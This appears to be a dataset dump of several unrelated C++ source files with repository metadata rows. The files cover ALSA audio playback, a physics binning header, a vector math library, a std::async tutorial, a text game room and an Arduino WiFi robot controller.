throw std::system_error(result, std::system_category(), "Failed to set software parameters");
if ((result = snd_pcm_prepare(playbackHandle)) < 0)
throw std::system_error(result, std::system_category(), "Failed to prepare audio interface");
snd_pcm_sw_params_free(swParams);
swParams = nullptr;
}
AudioDevice::~AudioDevice()
{
running = false;
if (audioThread.isJoinable()) audioThread.join();
if (swParams) snd_pcm_sw_params_free(swParams);
if (hwParams) snd_pcm_hw_params_free(hwParams);
if (playbackHandle) snd_pcm_close(playbackHandle);
}
void AudioDevice::start()
{
running = true;
audioThread = Thread(&AudioDevice::run, this);
}
void AudioDevice::stop()
{
running = false;
if (audioThread.isJoinable()) audioThread.join();
}
void AudioDevice::run()
{
Thread::setCurrentThreadName("Audio");
while (running)
{
try
{
int result;
snd_pcm_sframes_t frames;
if ((frames = snd_pcm_avail_update(playbackHandle)) < 0)
{
if (frames == -EPIPE)
{
engine->log(Log::Level::warning) << "Buffer underrun occurred";
if ((result = snd_pcm_prepare(playbackHandle)) < 0)
throw std::system_error(result, std::system_category(), "Failed to prepare audio interface");
continue;
}
else
throw std::system_error(frames, std::system_category(), "Failed to get available frames");
}
if (static_cast<snd_pcm_uframes_t>(frames) > periods * periodSize)
{
engine->log(Log::Level::warning) << "Buffer size exceeded, error: " << frames;
snd_pcm_reset(playbackHandle);
continue;
}
if (static_cast<snd_pcm_uframes_t>(frames) < periodSize)
continue;
getData(frames, data);
if ((result = snd_pcm_writei(playbackHandle, data.data(), frames)) < 0)
{
if (result == -EPIPE)
{
engine->log(Log::Level::warning) << "Buffer underrun occurred";
if ((result = snd_pcm_prepare(playbackHandle)) < 0)
throw std::system_error(result, std::system_category(), "Failed to prepare audio interface");
}
else
throw std::system_error(result, std::system_category(), "Failed to write data");
}
}
catch (const std::exception& e)
{
engine->log(Log::Level::error) << e.what();
}
}
}
}
#endif
|
[
"elviss@elviss.lv"
] |
elviss@elviss.lv
|
c3253f44e23e0ea6a7a1724c3b75038b42605892
|
9d0ffefd16ee2881b0a5a03e6fd914e376e84718
|
/src/smalldpbin.h
|
9f11f0be58a9e043f2c123840b672b456ac3340b
|
[] |
no_license
|
VitalyVorobyev/libDalitz
|
ed40e6cff3e5447e1f6f2f3e46e2f2a7927e1023
|
daa384b2ea6c5d0b0a138c509d8109cf7d31f2d7
|
refs/heads/master
| 2021-01-17T06:53:58.212760
| 2017-07-21T02:53:41
| 2017-07-21T02:53:41
| 45,833,433
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,258
|
h
|
/** Copyright 2017 Vitaly Vorobyev
** @file smalldpbin.h
**
** @brief This message displayed in Doxygen Files index
**
** @author Vitaly Vorobyev
** Contact: vit.vorobiev@gmail.com
**
**/
#ifndef SRC_SMALLDPBIN_H_
#define SRC_SMALLDPBIN_H_
#include <complex>
#include "./absdalitzmodel.h"
///
/// \brief The SmallDPBin class
///
class SmallDPBin {
public:
explicit SmallDPBin(const double& mAB = 0, const double& mAC = 0);
SmallDPBin(AbsDalitzModel* model, const double& mAB = 0,
const double& mAC = 0);
SmallDPBin(const SmallDPBin& x);
SmallDPBin& operator=(const SmallDPBin& x) = default;
void SetModel(AbsDalitzModel* model);
void SetGridSize(const int gsize);
void SetGridStep(const double& gstep);
void SetPoint(const double& mAB, const double& mAC);
void SetBin(const int i, const int j);
void SetNorm(const double& norm);
bool IsInBin(const double& mAB, const double& mAC) const;
double Phase(void) const;
double Amp(void) const;
double Ampb(void) const;
double P(void) const;
double Pb(void) const;
std::complex<double> CAmp(void) const;
std::complex<double> CAmpb(void) const;
int GSize(void) const;
double Weight(void) const;
void GetCurrentPoint(double* mAB, double* mAC) const;
int GetBin(const double& x) const;
double GetVal(const int bin) const;
private:
int Calc(void);
AbsDalitzModel* m_model;
/// Amplitude value for m_mAB and m_mAC
std::complex<double> m_val;
/// Amplitude value for m_mAC and m_mAB
std::complex<double> m_valb;
/// Statistical weight of the bin
double m_wght;
/// Phase difference
double m_dph;
/// Norm amp
double m_p;
/// Norm anti-amp
double m_pb;
/// Size of the grid cell
double m_h;
/// Number of the grid cells
int m_gsize;
/// Normalization coeffitient for amplitude
double m_norm;
/// Range of the grid
double m_dpsize;
/// Min value of the Dalitz variable
double m_dpmin;
/// Current var x
double m_mAB;
/// Current var y
double m_mAC;
/// Current bin x
int m_ABbin;
/// Current bin y
int m_ACbin;
};
#endif // SRC_SMALLDPBIN_H_
|
[
"vit.vorobiev@gmail.com"
] |
vit.vorobiev@gmail.com
|
2a3383233c329110de20425cdd997efb177e8880
|
52ca17dca8c628bbabb0f04504332c8fdac8e7ea
|
/boost/mpl/aux_/preprocessed/plain/bind_fwd.hpp
|
cc7d778174618e1229aed2924ccdbfb7228b9661
|
[] |
no_license
|
qinzuoyan/thirdparty
|
f610d43fe57133c832579e65ca46e71f1454f5c4
|
bba9e68347ad0dbffb6fa350948672babc0fcb50
|
refs/heads/master
| 2021-01-16T17:47:57.121882
| 2015-04-21T06:59:19
| 2015-04-21T06:59:19
| 33,612,579
| 0
| 0
| null | 2015-04-08T14:39:51
| 2015-04-08T14:39:51
| null |
UTF-8
|
C++
| false
| false
| 82
|
hpp
|
#include "thirdparty/boost_1_58_0/boost/mpl/aux_/preprocessed/plain/bind_fwd.hpp"
|
[
"qinzuoyan@xiaomi.com"
] |
qinzuoyan@xiaomi.com
|
045e5800a7a810d8b47a457f097b5897228095dc
|
1220d41b38daa288341ee813f0a1198dc8b0ef3c
|
/Chapter1/src/include/Math.h
|
05294062bc65dfa96d7ad9aa16d96a11a29429a8
|
[] |
no_license
|
glaumarkus/Asteroid_Game
|
298af1f0a2b97f411fb325082d2a29f1fc9ead73
|
c452c26de1d4e5896cf253c86e0a08485f97c329
|
refs/heads/main
| 2023-02-08T09:31:26.465845
| 2021-01-03T20:55:49
| 2021-01-03T20:55:49
| 326,489,619
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 7,280
|
h
|
#pragma once
#include <cmath>
#include <memory.h>
#include <limits>
namespace Math {
/*
* Constants
*/
constexpr float PI = 3.1415926535f;
constexpr float PI2 = PI * 2.0f;
constexpr float PIOver2 = PI / 2.0f;
constexpr float INF = std::numeric_limits<float>::infinity();
constexpr float NEGINF = -std::numeric_limits<float>::infinity();
/*
* Formulas
*/
inline float ToRadians(const float& degrees) { return degrees * PI / 180.0f; }
inline float ToDegrees(const float& radians) { return radians * 180.0f / PI; }
inline bool NearZero(const float& val, float epsilon = 0.001f) { return (fabs(val <= epsilon) ? true : false); }
template <typename T>
T Max(const T& a, const T& b) { return (a < b ? b : a); }
template <typename T>
T Min(const T& a, const T& b) { return (a < b ? a : b); }
template <typename T>
T Clamp(const T& value, const T& lower, const T& upper) { return Min(upper, Max(lower, value)); }
inline float Abs(const float& value) { return fabs(value); }
inline float Cos(const float& angle) { return cosf(angle); }
inline float Sin(const float& angle) { return sinf(angle); }
inline float Tan(const float& angle) { return tanf(angle); }
inline float Acos(const float& value) { return acosf(value); }
inline float Atan2(const float& y, const float& x) { return atan2f(y, x); }
inline float Cot(float angle) { return 1.0f / Tan(angle); }
inline float Lerp(float a, float b, float f) { return a + f * (b - a); }
inline float Sqrt(float value) { return sqrtf(value); }
inline float Fmod(float numer, float denom) { return fmod(numer, denom); }
}
/*
* 2D Vector
*/
struct Vec2 {
// default constructors
Vec2() :
x(0.0f), y(0.0f)
{}
Vec2(const float& f) :
x(f),
y(f)
{}
Vec2(const float& x, const float& y) :
x(x),
y(y)
{}
Vec2(const Vec2& other) :
x(other.x),
y(other.y)
{}
~Vec2() {}
inline float length2() { return x * x + y * y; }
inline float length() { return std::sqrtf(length2()); }
Vec2& normalize() {
norm();
return *this;
}
void norm() {
float oneOverLength = 1.f / length();
x *= oneOverLength;
y *= oneOverLength;
}
void norm(const float& f) {
float oneOverLength = 1.f / f;
x *= oneOverLength;
y *= oneOverLength;
}
// operators
Vec2& operator =(const Vec2& other) {
x = other.x;
y = other.y;
return *this;
}
Vec2& operator +=(const Vec2& other) {
x += other.x;
y += other.y;
return *this;
}
Vec2& operator -=(const Vec2& other) {
x -= other.x;
y -= other.y;
return *this;
}
Vec2& operator *=(const float& f) {
x *= f;
y *= f;
return *this;
}
Vec2& operator /=(const float& f) {
x /= f;
y /= f;
return *this;
}
float operator [](const int& idx) {
if (idx == 0) return x;
else if (idx == 1) return y;
else return 0.0f;
}
float operator [](const int& idx) const {
if (idx == 0) return x;
else if (idx == 1) return y;
else return 0.0f;
}
float x, y;
};
namespace Templates {
// Statics
static const Vec2 Zero(0.0f, 0.0f);
static const Vec2 UnitX(1.0f, 0.0f);
static const Vec2 UnitY(0.0f, 1.0f);
static const Vec2 NegUnitX(-1.0f, 0.0f);
static const Vec2 NegUnitY(0.0f, -1.0f);
}
// operators
inline Vec2 operator +(const Vec2& v1, const Vec2& v2) { return Vec2(v1.x + v2.x, v1.y + v2.y); }
inline Vec2 operator -(const Vec2& v1, const Vec2& v2) { return Vec2(v1.x - v2.x, v1.y - v2.y); }
inline Vec2 operator *(const Vec2& v1, const Vec2& v2) { return Vec2(v1.x * v2.x, v1.y * v2.y); }
inline Vec2 operator *(const Vec2& v, float f) { return Vec2(v.x * f, v.y * f); }
inline Vec2 operator *(float f, const Vec2& v) { return Vec2(f * v.x, f * v.y); }
inline Vec2 operator /(const Vec2& v1, const Vec2& v2) { return Vec2(v1.x / v2.x, v1.y / v2.y); }
inline Vec2 operator /(const Vec2& v, float f) { return Vec2(v.x / f, v.y / f); }
inline Vec2 operator /(float f, const Vec2& v) { return Vec2(f / v.x, f / v.y); }
// dot
//float dot(const Vec2& v1, const Vec2& v2) { return v1.x * v2.x + v1.y * v2.y; }
// reflect
//Vec2 reflect(const Vec2& v1, const Vec2& v2) { return Vec2(v1 - v2 * 2.0f * dot(v1, v2)); }
/*
struct Vec3 {
// default constructors
Vec3() :
x(0.0f), y(0.0f), z(0.0f)
{}
Vec3(const float& f) :
x(f),
y(f),
z(f)
{}
Vec3(const float& x, const float& y, const float& z) :
x(x),
y(y),
z(z)
{}
Vec3(const float& x, const float& y, const float& z, const float& w) :
x(x),
y(y),
z(z)
{}
~Vec3() {}
// copy constructor
Vec3(const Vec3& other) {
x = other.x;
y = other.y;
z = other.z;
}
// move constructor
Vec3(Vec3&& other) noexcept {
x = other.x;
y = other.y;
z = other.z;
}
inline float length2() { return x * x + y * y + z * z; }
inline float length() { return std::sqrt(length2()); }
Vec3& normalize() {
norm();
return *this;
}
void norm() {
float oneOverLength = 1.f / length();
x *= oneOverLength;
y *= oneOverLength;
z *= oneOverLength;
}
void norm(const float& f) {
float oneOverLength = 1.f / f;
x *= oneOverLength;
y *= oneOverLength;
z *= oneOverLength;
}
// operators
Vec3& operator =(const Vec3& other) {
x = other.x;
y = other.y;
z = other.z;
return *this;
}
Vec3& operator =(Vec3&& other) noexcept {
x = other.x;
y = other.y;
z = other.z;
return *this;
}
Vec3& operator +=(const Vec3& other) {
x += other.x;
y += other.y;
z += other.z;
return *this;
}
Vec3& operator -=(const Vec3& other) {
x -= other.x;
y -= other.y;
z -= other.z;
return *this;
}
Vec3& operator *=(float f) {
x *= f;
y *= f;
z *= f;
return *this;
}
Vec3& operator /=(float f) {
x /= f;
y /= f;
z /= f;
return *this;
}
float operator [](const int& idx) {
if (idx == 0) return x;
else if (idx == 1) return y;
else if (idx == 2) return z;
else return 0.0f;
}
float operator [](const int& idx) const {
if (idx == 0) return x;
else if (idx == 1) return y;
else if (idx == 2) return z;
else return 0.0f;
}
float x, y, z;
};
// add operators
inline Vec3 operator +(const Vec3& v1, const Vec3& v2)
{
return Vec3(v1.x + v2.x,
v1.y + v2.y,
v1.z + v2.z);
}
inline Vec3 operator -(const Vec3& v1, const Vec3& v2)
{
return Vec3(v1.x - v2.x,
v1.y - v2.y,
v1.z - v2.z);
}
inline Vec3 operator *(const Vec3& v1, const Vec3& v2)
{
return Vec3(v1.x * v2.x,
v1.y * v2.y,
v1.z * v2.z);
}
inline Vec3 operator *(const Vec3& v, float f)
{
return Vec3(v.x * f,
v.y * f,
v.z * f
);
}
inline Vec3 operator *(float f, const Vec3& v)
{
return Vec3(f * v.x,
f * v.y,
f * v.z);
}
inline Vec3 operator /(const Vec3& v1, const Vec3& v2)
{
return Vec3(v1.x / v2.x,
v1.y / v2.y,
v1.z / v2.z);
}
inline Vec3 operator /(const Vec3& v, float f)
{
return Vec3(v.x / f,
v.y / f,
v.z / f
);
}
inline Vec3 operator /(float f, const Vec3& v)
{
return Vec3(f / v.x,
f / v.y,
f / v.z);
}
// Vector operations
// dot
float dot(const Vec3& v1, const Vec3& v2) {
return v1.x * v2.x + v1.y * v2.y + v1.z * v2.z;
}
// cross
Vec3 cross(const Vec3& v1, const Vec3& v2) {
return
Vec3(v1.y * v2.z - v1.z * v2.y,
v1.z * v2.x - v1.x * v2.z,
v1.x * v2.y - v1.y * v2.x);
}
// reflect
Vec3 reflect(const Vec3& v1, const Vec3& v2) {
return Vec3(v1 - v2 * 2.0f * dot(v1, v2));
}
*/
|
[
"57915992+glaumarkus@users.noreply.github.com"
] |
57915992+glaumarkus@users.noreply.github.com
|
fff524a7d17cce0235ee478523272937a239bbf9
|
c9b2a1b6cf254273cc4705f31916c4942fd6f47f
|
/Piscine_Cpp/d08/ex00/easyfind.hpp
|
b670363a9c6d5e015cde29f3be7512679a6bfb0e
|
[] |
no_license
|
gbourgeo/42projects
|
cb4141026a2572c04a6e9820fe2d1a7319ac3225
|
3127c9e74ff8ec6d00be3f7d449f3469d56bdb86
|
refs/heads/master
| 2021-01-17T02:58:20.156155
| 2020-09-08T12:00:52
| 2020-09-08T12:00:52
| 58,766,253
| 1
| 2
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,200
|
hpp
|
// ************************************************************************** //
// //
// ::: :::::::: //
// easyfind.hpp :+: :+: :+: //
// +:+ +:+ +:+ //
// By: root </var/mail/root> +#+ +:+ +#+ //
// +#+#+#+#+#+ +#+ //
// Created: 2018/07/10 13:13:54 by root #+# #+# //
// Updated: 2018/07/10 13:39:53 by root ### ########.fr //
// //
// ************************************************************************** //
#ifndef EASYFIND_HPP
# define EASYFIND_HPP
# include <algorithm>
# include <exception>
template<typename T>
typename T::iterator easyfind(T &array, int nb)
{
typename T::iterator it;
it = std::find(array.begin(), array.end(), nb);
if (it == array.end())
throw std::exception();
return it;
}
#endif
|
[
"gillesbourgeois@gmail.com"
] |
gillesbourgeois@gmail.com
|
f471ca2773d6d6f2f7f0e672a3d5203263e7cc2b
|
541359173b98ecc0e9359253353bac65ff1f7b6d
|
/tutorial_07-1.cpp
|
aba2524553b486d35e5f00680e353eeb03e8f324
|
[] |
no_license
|
songwongtp/Concurrent_Programming_with_C-11
|
0b78a263b309af04dc0f5700e824b75c7e2378be
|
180d9621c2d87709210f937966007da8aac8f13c
|
refs/heads/master
| 2020-12-30T14:19:25.791896
| 2017-05-17T21:43:37
| 2017-05-17T21:43:37
| 91,303,842
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,668
|
cpp
|
/* Songwong Tasneeyapant
* C++ Threading #7: Future, Promise and async()
*/
#include <iostream>
#include <future>
using namespace std;
// std::mutex mu;
// std::condition_variable cond;
//
// void factorial(int N, int &x) {
// int res = 1;
// for(int i = N; i > 1; i--){
// res *= i;
// }
//
// cout << "Result is: " << res << endl;
// x = res;
// }
int factorial(int N) {
int res = 1;
for(int i = N; i > 1; i--){
res *= i;
}
cout << "Result is: " << res << endl;
return res;
}
int main() {
int x;
// instead of passing x by reference with mutex to lock x and condition_variable
//std::thread t1(factorial, 4, std::ref(x));
//t1.join();
// std::future<int> fu = std::async(factorial, 4); // async may/may not create another thread
// std::future<int> fu = std::async(std::launch::deferred, factorial, 4);
// defer the execution of factorial function until the get() is called
// when the get() function is called, the factorial function will be executed in the same thread
std::future<int> fu = std::async(std::launch::async, factorial, 4);
// create another thread
// std::future<int> fu = std::async(std::launch::async | std::launch::deferred, factorial, 4);
// whether an async function will create another thread or not
// will be determined by the implementation
// (a default value)
x = fu.get(); // fu.get() will wait till a child thread finish
// then return the value from the child thread
// Can be called only once
//x = fu.get() // crash the program
return 0;
}
|
[
"nat@nats-MacBook-Pro.local"
] |
nat@nats-MacBook-Pro.local
|
51291a13532a57dd5c468fd7b6e9d1347f66f98e
|
99cd3daf8a0b858e0f6244c41381f08382cec81c
|
/galacticExplorer/dataCore.cpp
|
d7b7dd538fb5f9c46a55b79a36f0409d9b8c0ae7
|
[] |
no_license
|
matbot/Galactic-Explorer
|
5c2aa717034178feb34f478ae630080ebb5adc2b
|
9f66462087d8d3e0d53254307ee9b7c4b69b5a83
|
refs/heads/master
| 2020-04-09T22:39:23.283354
| 2018-12-06T07:17:05
| 2018-12-06T07:17:05
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 2,854
|
cpp
|
/*********************************************
* *Author: Mathew McDade
* *Date: Mon Dec 5 22:20:55 PST 2016
* *Description:
* *********************************************/
#include "player.hpp"
#include "dataCore.hpp"
#include "engines.hpp"
#include "utils.hpp"
#include <iostream>
#include <unistd.h>
using namespace std;
/******************************
* dataCore Constructor
* ****************************/
DataCore::DataCore(DataNode* dN)
{
nodeName = "Data Core";
player = NULL;
uNode = dN;
dNode = new Engine(this);
lNode = NULL;
rNode = NULL;
}
/**************
* Destructor
* **********/
DataCore::~DataCore()
{
delete dNode;
} //gosh I hope these destructors work.
/***************
* nodeScript()
* ************/
void DataCore::nodeScript()
{
if(player->checkDataLink(4) || player->checkDataLink(5))
{
cout << endl << "You have already captured the hostile AI." << endl;
sleep(1);
cout << "Automation is returning the Data Core to full function." << endl << endl;
sleep(1);
return;
}
cout << "You are now in the Data Storage Core." << endl << endl;
sleep(1);
cout << "The Data Core is your primary data storage center." << endl;
sleep(1);
cout << "You keep all of your valuable exploration data here." << endl;
sleep(1);
cout << "But..." << endl;
sleep(1);
cout << "This place is a mess. It looks like the unknown process is" << endl
<< "converting the core to an auxillary command terminal!" << endl << endl;
sleep(1);
cout << "The AI is using the Data Core to grow and gain control of the ship's systems." << endl;
sleep(1);
cout << "It might be possible to capture the AI by using the Core's link interface, but"
<< endl << " you should be very careful. Capturing the AI before linking the"
<< endl << " sensor array may have unintended consequences." << endl << endl;
sleep(1);
}
/*************
* moveMenu()
* **********/
void DataCore::moveMenu()
{
cout << endl << "Would you like to move:" << endl << endl;
cout << "1. Up to the Transit Hub." << endl;
cout << "2. Down to the Engine." << endl;
int moveChoice = getInt(1,2);
switch(moveChoice){
case 1: player->setCurrentNode(uNode);
player = NULL;
break;
case 2: player->setCurrentNode(dNode);
player = NULL;
break;}
}
/*****************
* nodeFunction()
* **************/
bool DataCore::nodeFunction()
{
cout << endl << "Binding hostile AI." << endl;
sleep(2);
cout << "..." << endl;
sleep(2);
cout << "Hostile AI linked!" << endl << endl;
return true;
}
/***************************************************
* linkNode(): adds a pointer to the current node
* to the player's dataBank array.
* ************************************************/
void DataCore::linkNode()
{
if(player->checkKnowledge())
player->addDataLink(this,4);
else
player->addDataLink(this,5);
return;
}
|
[
"noreply@github.com"
] |
matbot.noreply@github.com
|
9fa52c5e90ec725ba219de32447890f69fb3b1d5
|
a43495337bdcdc3ec35bdd42f79bc68d7edbbe3a
|
/src/Method1.cpp
|
49ce294be62fd000a97ccc4d6db03e123548035a
|
[] |
no_license
|
Aya-Abouzeid/Threads_MatrixMultiplication
|
fe5faa28574ffb985a18db79715a0d3ddbd4e655
|
6945b8256ffd14d4363de7022b94076177646807
|
refs/heads/master
| 2021-07-15T14:22:43.046468
| 2017-10-21T02:07:30
| 2017-10-21T02:07:30
| 107,416,923
| 2
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 92
|
cpp
|
#include "Method1.h"
Method1::Method1()
{
//ctor
}
Method1::~Method1()
{
//dtor
}
|
[
"aya_aly_abouzeid@yahoo.com"
] |
aya_aly_abouzeid@yahoo.com
|
f5d84ca1ffb1e121225f0730d256d8e92920c9cc
|
6eac5641aabed5333d5f17f61609a6234c70877b
|
/examples/WiFlyPOPXTController/WiFlyPOPXTController.ino
|
4bc1536f0028a3e81a629a819eafa7ed40925dd3
|
[] |
no_license
|
akexorcist/WiFlyTCP
|
346c943b24e0813522681adc0a5b64b7f7c547a3
|
021c6521f566d7fa006b738165b045b52bb81594
|
refs/heads/master
| 2021-05-27T21:42:31.210485
| 2014-09-01T16:40:35
| 2014-09-01T16:40:35
| null | 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 7,670
|
ino
|
/*
* Copyright (c) 2014 Akexorcist
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
/*
* Control POPBOT-XT via WiFi
*/
#include <popxt.h> // Include POPBOT-XT library
#include <WiFlyTCP.h> // Include WiFly library
WiFlyTCP wifly; // Declare WiFly instance
String ssid = "YOUR_SSID"; // Your WiFi SSID
String pass = "YOUR_PASS"; // Your WiFi password
boolean conn = false; // Declare boolean variable for TCP connection state
void setup()
{
delay(2000); // Delay 2 seconds
glcdClear(); // Clear GLCD screen
Serial.begin(9600); // Set baudrate of Serial 1
Serial1.begin(9600); // Set baudrate of USB serial
glcdString(0, 0, "Initial"); // Show "Initial" on GLCD
wifly.begin(&Serial1, &Serial); // Set serial port which connect to wifly
// and serial port for debugging
// Example : Serial 1 (WiFly), Serial USB (Debugging)
wifly.setDebug(true); // Set debugging to debug serial
wifly.enter(); // Enter command mode
wifly.setDHCP(); // Setting for WiFi
wifly.setWlanJoin(); // Setting for WiFi
wifly.setWlanAuth(WIFLY_WLAN_AUTO_WPA1_WPA2); // WiFi authentication type
wifly.setWlanPassword(pass); // Password of WiFi
wifly.setTCPAutoconn(); // Setting for TCP
wifly.setTCPIdle(); // Setting for TCP
}
void loop()
{
glcd(0, 0, "Connecting..."); // Show "Initial" on GLCD
char buf[ssid.length() + 1]; // Declare char array for SSID
ssid.toCharArray(buf, ssid.length() + 1); // Convert string of SSID to char array
glcdString(0, 1, buf); // Show SSID on GLCD
if(wifly.join(ssid)) { // Connect to target WiFi
glcd(0, 0, "Connected "); // Show "Connected" on GLCD
String ip = wifly.getIP(); // Get ip
String port = wifly.getPort(); // Get port
String address = ip + ":" + port; // Merge ip and port into address
char buf[address.length() + 1]; // Declare char array for ip address
address.toCharArray(buf, address.length() + 1); // Convert string of ip address to char array
glcdString(0, 2, buf); // Show ip address on GLCD
glcd(4, 0, "CLOSE"); // Show "CLOSE" on GLCD that mean TCP not yet connected
String str = ""; // Declare string for incoming message
String s = ""; // Declare string for each incoming message
while(wifly.isWifiConnected()) { // Check WiFi connection state
delay(10); // Delay 10 milliseconds
if(!conn && wifly.isTCPOpened()) { // If TCP isn't connected state and TCP connection was started
glcd(4, 0, "OPEN "); // Show "OPEN" on GLCD
conn = true; // Change connection state to true
} else if(conn && !wifly.isTCPOpened()) { // But if TCP is connected state and TCP connection was closed
glcd(4, 0, "CLOSE"); // Show "CLOSE" on GLCD
conn = false; // Change connection state to false
}
if(wifly.isTCPAvailable() > 0){ // Check incoming message on TCP
// I habe
s = wifly.readTCP(); // Read message into last string
// In this example, I sent a message which end with ";"
// Example : "Hello;" "Speed100;" "ON;"
if(!s.equals(";")) { // If message isn't ";"
str += s; // Add last string into main string
} else { // But if message is ";"
if(str.charAt(0) == 'F') { // First string is "F"
str = str.substring(1, str.length()); // Remove first string
int spd = str.toInt(); // Get speed from remain string
glcd(5, 0, "Forward:%d ", spd); // Show "Forward:Speed" on GLCD
fd(spd); // Moving forward with speed
} else if(str.charAt(0) == 'B') {
str = str.substring(1, str.length());
int spd = str.toInt();
glcd(5, 0, "Backward:%d ", spd);
bk(spd);
} else if(str.charAt(0) == 'L') {
str = str.substring(1, str.length());
int spd = str.toInt();
glcd(5, 0, "TurnLeft:%d ", spd);
sl(spd);
} else if(str.charAt(0) == 'R') {
str = str.substring(1, str.length());
int spd = str.toInt();
glcd(5, 0, "TurnRight:%d ", spd);
sr(spd);
} else if(str.charAt(0) == 'S') {
str = str.substring(1, str.length());
int spd = str.toInt();
glcd(5, 0, "Stop ", spd);
ao();
}
str = ""; // Clear string
}
}
}
// TCP was closed
glcd(0, 0, "Disconnected"); // Show "Disconnected" on GLCD
}
}
|
[
"akexorcist@gmail.com"
] |
akexorcist@gmail.com
|
8fa8822ff13ce7fe674ee9a59bac42e71f72dc6f
|
b53433a087a326afa053b924c045d9d8d9d14b2d
|
/443A - Anton and Letters/17703755_15MS_2200K.cpp
|
4f38284de0f2f33e4b34c4a2e03c29bc79d2cf31
|
[
"MIT"
] |
permissive
|
cloudzfy/codeforces
|
cc372049384077d00cad8260ad29c05378cd21e1
|
d409574c1a4218419aa6e9ddc02fddb7b83455d8
|
refs/heads/master
| 2021-01-01T05:21:08.768864
| 2016-09-27T05:24:00
| 2016-09-27T05:24:00
| 57,424,154
| 1
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 575
|
cpp
|
#include <stdio.h>
#include <iostream>
#include <string>
#include <unordered_map>
#include <unordered_set>
#include <vector>
#include <cstring>
#include <algorithm>
using namespace std;
int main(int argc, const char * argv[]) {
vector<bool> m(26, 0);
int ans = 0;
string s;
cin>>s;
if (s != "{}") {
m[s[1] - 'a'] = true;
ans++;
while (s[s.length() - 1] != '}') {
cin>>s;
if (!m[s[0] - 'a']) {
m[s[0] - 'a'] = true;
ans++;
}
}
}
cout<<ans<<endl;
}
|
[
"cloudzfy@users.noreply.github.com"
] |
cloudzfy@users.noreply.github.com
|
8743366ba74fd4fff112be7fe66bdbe5c6cd2cc6
|
4611624808ccc2681272cc0847f01e54389490a7
|
/build/Android/Debug/app/src/main/include/Fuse.Controls.Native.-f8b7cf50.h
|
292ad0b28de7b72aa21b14075aeae27c9b20f7e0
|
[] |
no_license
|
kvitberg/TestCase
|
62d6c88e5cab7ac46fd70c29a6e2e695d838f261
|
75c6e7fdf680189e6d6a447c157a07e10218796a
|
refs/heads/master
| 2020-12-02T18:01:51.624735
| 2017-07-06T18:55:24
| 2017-07-06T18:55:24
| 96,462,146
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,648
|
h
|
// This file was generated based on '../../../Library/Application Support/Fusetools/Packages/Fuse.Controls.Native/1.0.5/android/$.uno'.
// WARNING: Changes might be lost if you edit this file directly.
#pragma once
#include <Fuse.Controls.Native.-11768b55.h>
#include <Fuse.Controls.Native.-952ea184.h>
#include <Fuse.Controls.Native.-dcf1df13.h>
#include <Fuse.Controls.Native.IView.h>
#include <Uno.Float4.h>
#include <Uno.IDisposable.h>
namespace g{namespace Fuse{namespace Controls{namespace Native{namespace Android{struct Rectangle;}}}}}
namespace g{namespace Java{struct Object;}}
namespace g{
namespace Fuse{
namespace Controls{
namespace Native{
namespace Android{
// internal sealed extern class Rectangle :1161
// {
struct Rectangle_type : ::g::Fuse::Controls::Native::Android::Shape_type
{
::g::Fuse::Controls::Native::IRectangleView interface3;
};
Rectangle_type* Rectangle_typeof();
void Rectangle__ctor_7_fn(Rectangle* __this);
void Rectangle__FuseControlsNativeIRectangleViewset_CornerRadius_fn(Rectangle* __this, ::g::Uno::Float4* value);
void Rectangle__New4_fn(Rectangle** __retval);
void Rectangle__UpdateShapeDrawable_fn(Rectangle* __this, ::g::Java::Object* handle, float* pixelsPerPoint);
void Rectangle__UpdateShapeDrawable1_fn(Rectangle* __this, ::g::Java::Object* handle, float* x, float* y, float* z, float* w);
struct Rectangle : ::g::Fuse::Controls::Native::Android::Shape
{
::g::Uno::Float4 _cornerRadius;
void ctor_7();
void UpdateShapeDrawable1(::g::Java::Object* handle, float x, float y, float z, float w);
static Rectangle* New4();
};
// }
}}}}} // ::g::Fuse::Controls::Native::Android
|
[
"scott.kvitberg@gmail.com"
] |
scott.kvitberg@gmail.com
|
917142ddd8fff26e2b758b6a5bbc0350323e1819
|
0e902f013650be7c237cae3d1ff32c38fcfe160e
|
/src/sim/netbuilder/cdynamicmoduletype.cc
|
c6fc440b37279518243a081a64ca62a5b6a6e019
|
[] |
no_license
|
omnet4arab/omnet-4.5.0-windows
|
9e533cde6c804958b0de7dc1b313de112484a5c9
|
89c7daab3cf512ed1de9f7763ab5f98481a2246d
|
refs/heads/master
| 2021-09-07T06:13:01.796179
| 2018-02-18T14:38:45
| 2018-02-18T14:38:45
| 121,942,026
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 3,865
|
cc
|
//==========================================================================
// CDYNAMICMODULETYPE.CC
//
// OMNeT++/OMNEST
// Discrete System Simulation in C++
//
//==========================================================================
/*--------------------------------------------------------------*
Copyright (C) 2002-2008 Andras Varga
Copyright (C) 2006-2008 OpenSim Ltd.
This file is distributed WITHOUT ANY WARRANTY. See the file
`terms' for details on this and other legal matters.
*--------------------------------------------------------------*/
#include <string.h>
#include <stdio.h>
#include <time.h>
